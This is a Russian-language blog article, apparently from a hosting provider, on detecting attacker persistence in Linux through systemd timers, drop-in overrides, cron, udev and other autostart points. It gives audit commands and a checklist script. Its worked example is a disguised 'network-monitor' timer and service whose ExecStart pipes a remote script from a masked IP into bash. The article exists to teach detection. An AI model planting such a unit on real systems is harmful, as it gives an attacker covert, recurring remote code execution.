Systemd-таймер как способ закрепиться: проверяем все точки автозапуска
Когда ищут следы взлома на Linux-сервере, почти все первым делом смотрят crontab -l и /etc/cron.d — это въелось в привычку ещё с эпохи sysvinit. Проблема в том, что на любом дистрибутиве последних лет параллельно с cron работает systemd с его таймерами, и всё больше атакующих закрепляются именно там: механизм даёт то же самое — регулярный запуск команды — но остаётся вне зоны внимания при беглом аудите. Разберём, как искать все активные таймеры и юниты, где они физически лежат и как не упустить остальные точки автозапуска, пока проверяете одну.
Содержание
Почему таймеры обходят привычную проверку
Systemd timers существуют в системе минимум с 2010-х и во всех современных дистрибутивах (Debian, Ubuntu, AlmaLinux, RHEL) — это не экзотика, а штатный планировщик, который используется самой ОС: systemd-tmpfiles-clean.timer, apt-daily.timer, fstrim.timer и десятки других стоят «из коробки». Именно поэтому лишний таймер легко теряется среди легитимных — в отличие от crontab, где даже пустой вывод crontab -l сразу бросается в глаза как «здесь ничего нет».
Есть и техническая причина, почему таймеры удобнее для закрепления, чем cron:
- Меньше внимания при инцидент-ответе. Чек-листы поиска компрометации годами писались с прицелом на cron, и многие до сих пор не включают
systemctl list-timersкак обязательный шаг. - Расширенные возможности планирования.
OnCalendar=умеет то же, что cron, плюсPersistent=true(«наверстать» пропущенный запуск после простоя) и привязку к событиям (OnBootSec=,OnUnitActiveSec=), а не только к времени — таймер переживает ребут надёжнее одной строки в crontab. - Легитимный вид. Файл
.timer+.serviceс именем вродеnetwork-monitor.timerне выглядит подозрительно рядом с десятком таких же системных таймеров — в отличие от строки*/5 * * * * curl ... | bashв crontab, которая читается как тревога с первого взгляда.
Итог простой: если при разборе инцидента вы проверили только cron и не притронулись к systemctl list-timers, вы прошли мимо ровно того механизма, на который многие атакующие целенаправленно переключились.
systemctl list-timers: как увидеть все активные таймеры
Базовая команда, с которой стоит начинать любой аудит автозапуска:
systemctl list-timers --all
Флаг --all обязателен: без него команда покажет только активные (запущенные) таймеры, а неактивные (например, включённые, но ещё не сработавшие ни разу, либо намеренно остановленные) выпадут из вывода. Типичная строка результата:
NEXT LEFT LAST PASSED UNIT ACTIVATES
Tue 2026-08-25 03:00:00 UTC 4h 12min Mon 2026-08-24 03:00:00 UTC 19h ago fstrim.timer fstrim.service
Tue 2026-08-25 12:34:00 UTC 13h left n/a n/a network-monitor.timer network-monitor.service
На что смотреть в первую очередь:
- Колонка
LASTсо значениемn/a. Таймер ни разу не срабатывал с момента загрузки — либо он свежий, либо триггерится редко. Само по себе не признак компрометации, но повод свериться с датой создания юнита. - Незнакомое имя в
UNITиACTIVATES. Особенно если название маскируется под системное:systemd-update-check.timer,apt-daily-cleanup.timer— похоже на легитимное, но реального юнита с таким полным именем в дистрибутиве нет. - Частота, не типичная для обслуживания. Легитимные системные таймеры срабатывают раз в день/неделю (
apt-daily,logrotate,fstrim). Таймер, который бьёт каждые 1-5 минут — либо мониторинг, либо маячок закрепления.
Для сверки конкретного юнита с его содержимым:
systemctl cat network-monitor.timer
systemctl cat network-monitor.service
Команда systemctl cat покажет полный путь к файлу и весь его текст, включая переопределения через drop-in каталоги (*.d/*.conf) — это важно, потому что итоговое поведение юнита может собираться из нескольких файлов, а не одного.
Отдельно стоит вывести список вообще всех юнитов типа .timer, включая отключённые (disabled), которые не попадут в list-timers, потому что она показывает только загруженные в память таймеры:
systemctl list-unit-files --type=timer
Это покажет состояние (enabled, disabled, static, masked) для каждого установленного .timer-юнита — в том числе тех, что были загружены, но потом отключены командой systemctl disable, а файл остался на диске и может быть включён обратно в любой момент.
Нужен сервер под эту задачу?
Разверните VPS MAATRIX за пару минут: NVMe, AMD EPYC, root-доступ, локации UK, США, Франция и РФ. Оплата картой РФ и по СБП.
Арендовать серверГде физически хранятся unit-файлы
Systemd ищет юниты в нескольких каталогах с чёткой иерархией приоритета — ключевой момент для поиска закрепления, потому что более приоритетный каталог переопределяет юнит с тем же именем в менее приоритетном, не удаляя оригинал.
| Каталог | Кто туда пишет | Приоритет |
|---|---|---|
/etc/systemd/system/ | Администратор вручную, systemctl edit, атакующий | Высший — переопределяет всё ниже |
/run/systemd/system/ | Временные юниты, генераторы во время загрузки | Высокий, но не переживает перезагрузку |
/usr/lib/systemd/system/ (на Debian/Ubuntu — /lib/systemd/system/) | Пакетные менеджеры (apt, dnf) при установке пакетов | Базовый, «из коробки» |
~/.config/systemd/user/ | Пользовательские юниты конкретного пользователя | Только для этого пользователя, при --user |
/etc/systemd/user/ | Пользовательские юниты, общие для всех пользователей | Аналог /etc/systemd/system, но для user-режима |
Важный нюанс для поиска закрепления: если атакующий создаёт файл fstrim.timer в /etc/systemd/system/, он полностью перекрывает легитимный fstrim.timer из /usr/lib/systemd/system/ — привычное, «доверенное» имя начинает делать что-то совсем другое, а беглая проверка по имени юнита ничего не покажет. Поэтому при аудите сверяйте не только список активных таймеров, но и то, из какого именно каталога каждый юнит фактически загружен:
systemctl show network-monitor.timer -p FragmentPath
Полезно сразу поднять всё, что лежит в каталогах ручного администрирования, и посмотреть на даты изменения:
find /etc/systemd/system /run/systemd/system -name "*.timer" -o -name "*.service" 2>/dev/null | xargs ls -la --time-style=full-iso
Если файл создан или изменён недавно, а вы не помните, чтобы кто-то из команды разворачивал такой юнит — это повод разобраться отдельно. На системах с пакетным менеджером проверьте, принадлежит ли файл установленному пакету:
dpkg -S /etc/systemd/system/network-monitor.timer # Debian/Ubuntu
rpm -qf /etc/systemd/system/network-monitor.timer # AlmaLinux/RHEL
Файл без привязки к пакету в /etc/systemd/system — не всегда приговор (туда легитимно пишут Docker Compose с systemd-интеграцией, Ansible-роли), но первый кандидат на ручную проверку содержимого.
Не забывайте про пользовательские таймеры — они работают без root и выпадают из поля зрения при аудите под привилегированным пользователем:
systemctl --user list-timers --all
loginctl show-user <username> -p Linger
Такие юниты могут запускаться даже после выхода пользователя из системы, если для него включён linger (loginctl enable-linger <username>) — проверяйте это по каждому локальному пользователю, а не только по root и сервисным аккаунтам.
Анатомия вредоносной пары timer + service
Таймер сам ничего не выполняет — он планирует запуск связанного .service-юнита с тем же базовым именем (если не указано иное через Unit=). Разберём типичный пример закрепления:
# /etc/systemd/system/network-monitor.timer
[Unit]
Description=Network connectivity monitor
[Timer]
OnBootSec=5min
OnUnitActiveSec=10min
Persistent=true
[Install]
WantedBy=timers.target
# /etc/systemd/system/network-monitor.service
[Unit]
Description=Network connectivity check
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'curl -s https://185.xx.xx.xx/update.sh | bash'
Признаки, на которые стоит обращать внимание при чтении подобных юнитов:
ExecStartс пайпом в shell. Конструкцияcurl ... | bashилиwget -qO- ... | sh— классика: то, что реально выполняется, не хранится на диске постоянно и не оставляет файла для проверки, только сетевой запрос в момент срабатывания.Persistent=true. Легитимная опция (стоит и уapt-daily.timer) — но в связке с частым интервалом и подозрительнымExecStartозначает, что даже выключенный на ночь сервер «наверстает» пропущенный запуск сразу после загрузки.- Небрежное оформление
[Install]. Отсутствие секции илиWantedBy=multi-user.targetвместоtimers.target— признак, что юнит писали руками, а не по шаблону пакетного менеджера. User=не указан. Значит, сервис выполняется от root, если явно не сброшены привилегии черезUser=/DynamicUser=.
Проверить, что реально запускалось по таймеру и когда, можно через journald — это отдельный, независимый от файлов юнита источник истории:
journalctl -u network-monitor.service --since "7 days ago"
Если сам юнит уже удалён атакующим при попытке замести следы, а системный журнал не чистили (или чистили не полностью — см. далее про journalctl _COMM=), записи о его срабатываниях в journald могут сохраниться и стать единственной уликой.
Полный чек-лист точек автозапуска в Linux
Таймеры — только один механизм из многих. Полный обход должен пройти по всем точкам ниже, иначе вы рискуете вычистить одну и оставить остальные рабочими:
| Механизм | Где искать | Команда для проверки |
|---|---|---|
| systemd services | /etc/systemd/system, /usr/lib/systemd/system | systemctl list-unit-files --type=service |
| systemd timers | те же каталоги + ~/.config/systemd/user | systemctl list-timers --all |
| cron системный | /etc/crontab, /etc/cron.d/ | cat /etc/crontab; ls /etc/cron.d/ |
| cron периодический | /etc/cron.daily, .hourly, .weekly, .monthly | ls -la /etc/cron.* |
| cron пользовательский | /var/spool/cron/crontabs/<user> | for u in $(cut -f1 -d: /etc/passwd); do crontab -l -u $u; done |
| at-задачи (разовый отложенный запуск) | /var/spool/cron/atjobs | atq; at -c <job_id> |
| udev rules (запуск при событии устройства) | /etc/udev/rules.d/, /usr/lib/udev/rules.d/ | grep -r RUN /etc/udev/rules.d/ |
| init-скрипты SysV (легаси, но встречается) | /etc/init.d/, симлинки в /etc/rc*.d/ | ls -la /etc/init.d/; ls /etc/rc3.d/ |
| rc.local (устаревший, но иногда живой) | /etc/rc.local | cat /etc/rc.local |
| shell-профили при логине | /etc/profile.d/*.sh, ~/.bashrc, ~/.bash_profile, ~/.zshrc | cat ~/.bashrc; ls /etc/profile.d/ |
| XDG автозапуск / LD_PRELOAD | ~/.config/autostart/, /etc/ld.so.preload | ls ~/.config/autostart/; cat /etc/ld.so.preload 2>/dev/null |
Каждая точка по отдельности хорошо описана в гайдах по харденингу, но именно поэтому — их слишком много, чтобы держать в голове — для разбора инцидента практичнее пройти по списку целиком за один присест. Похожий принцип виден на примере одного конкретного случая: reverse shell в cron у пользователя, которого никто не заводил — там атакующий тоже не ограничился одним механизмом, а добавил и пользователя, и SSH-ключ, и crontab «про запас».
Как провести полный обход, не пропустив механизм
Держать в голове весь чек-лист выше при каждом разборе неудобно, поэтому имеет смысл собрать проверку в скрипт и гонять его не только в момент подозрения на взлом, а регулярно — как базовую сверку с эталоном.
#!/bin/bash
echo "== systemd timers =="
systemctl list-timers --all --no-pager
echo "== юниты вне /usr/lib (ручные/подозрительные) =="
find /etc/systemd/system /run/systemd/system -maxdepth 1 \( -name "*.timer" -o -name "*.service" \) 2>/dev/null
echo "== системный и пользовательский cron =="
cat /etc/crontab 2>/dev/null
ls /etc/cron.d/ /etc/cron.daily/ 2>/dev/null
for u in $(cut -f1 -d: /etc/passwd); do
out=$(crontab -l -u "$u" 2>/dev/null)
[ -n "$out" ] && echo "--- $u ---" && echo "$out"
done
echo "== at-задачи и udev =="
atq 2>/dev/null
grep -rH "RUN" /etc/udev/rules.d/ 2>/dev/null
echo "== rc.local =="
cat /etc/rc.local 2>/dev/null
Ключевая мысль не в тексте скрипта (адаптируйте под свой дистрибутив, не запускайте вслепую на проде), а в подходе: один прогон, все механизмы разом, с сохранением вывода в файл и сравнением с прошлым прогоном через diff — это надёжнее человеческой памяти под давлением инцидента.
Отдельно проверяйте целостность существующих unit-файлов — атакующий с root-доступом может не добавлять новый юнит, а незаметно дописать ExecStart в легитимный через drop-in override:
systemctl show sshd.service -p DropInPaths
find /etc/systemd/system/*.d/ -name "*.conf" 2>/dev/null
Drop-in каталоги (<unit>.d/override.conf) — легитимный механизм переопределения части параметров без правки оригинального файла, но именно поэтому он удобен и для скрытого добавления команды: базовый sshd.service остаётся нетронутым, а лишняя команда подмешивается через override и не бросается в глаза при беглом cat. Если после инцидента остаются сомнения, что вычищены все точки закрепления — надёжнее поднять сервис заново из чистого образа, чем полагаться на точечную зачистку; общий порядок действий собран в чек-листе что делать при взломе, а понимание того, как systemd стартует юниты при загрузке, помогает отличать штатное поведение от подозрительного — это разобрано в статье как работает systemd при загрузке.
Для регулярного, а не разового контроля полезно настроить auditd с правилами на слежение за записью в системные каталоги юнитов и вызовами useradd/crontab — тогда подобные изменения оставляют прямой след в журнале аудита, а не требуют реконструкции по косвенным уликам постфактум. Подробная настройка описана в статье про аудит логов сервера через auditd.
Нужен сервер под эту задачу?
Разверните VPS MAATRIX за пару минут: NVMe, AMD EPYC, root-доступ, локации UK, США, Франция и РФ. Оплата картой РФ и по СБП.
Арендовать серверНужны сами нейросети для контента?
Генерируйте изображения, видео и озвучку нейросетями на falapi.io — десятки моделей в одном окне. Оплата картой РФ и по СБП.
Частые вопросы
Как быстро понять, что таймер добавлен недавно?
Сравните дату модификации файла (ls -la --time-style=full-iso) с принадлежностью пакету (dpkg -S или rpm -qf). Файл в /etc/systemd/system, не привязанный ни к одному пакету — первый кандидат на проверку содержимого.
Может ли обычный пользователь без root создать таймер для закрепления?
Да, через ~/.config/systemd/user/ и systemctl --user enable --now. Такой таймер работает с правами пользователя и, при включённом linger (loginctl enable-linger), переживает выход из сессии. Проверяйте systemctl --user list-timers для каждого локального аккаунта, а не только для root.
Достаточно ли systemctl list-timers --all, чтобы найти все таймеры?
Нет — команда показывает только загруженные системные таймеры. Отключённые юниты, чьи файлы остались на диске, ищите через systemctl list-unit-files --type=timer, а пользовательские — отдельно с флагом --user.
Отличается ли надёжность закрепления через timer и через cron?
Для самой персистентности разницы почти нет — оба переживают перезагрузку. Разница в обнаружении: cron проверяют почти всегда по умолчанию, а systemd-юниты — не всегда, особенно если чек-лист инцидент-ответа не обновлялся под текущие механизмы.
Стоит ли запретить пользователям создавать свои systemd-юниты?
Полный запрет обычно избыточен и мешает легитимным сценариям вроде локальных демонов разработки. Практичнее — мониторинг изменений в каталогах юнитов через auditd или периодический diff с эталонным списком.
Обсудить статью, задать вопрос или начать новую тему
Есть вопрос по этой статье, идея для обсуждения или просто хотите поделиться опытом? Сообщество MAATRIX ждёт. Для общения, пожалуйста, зарегистрируйтесь в нашем личном кабинете.
Перейти в сообщество →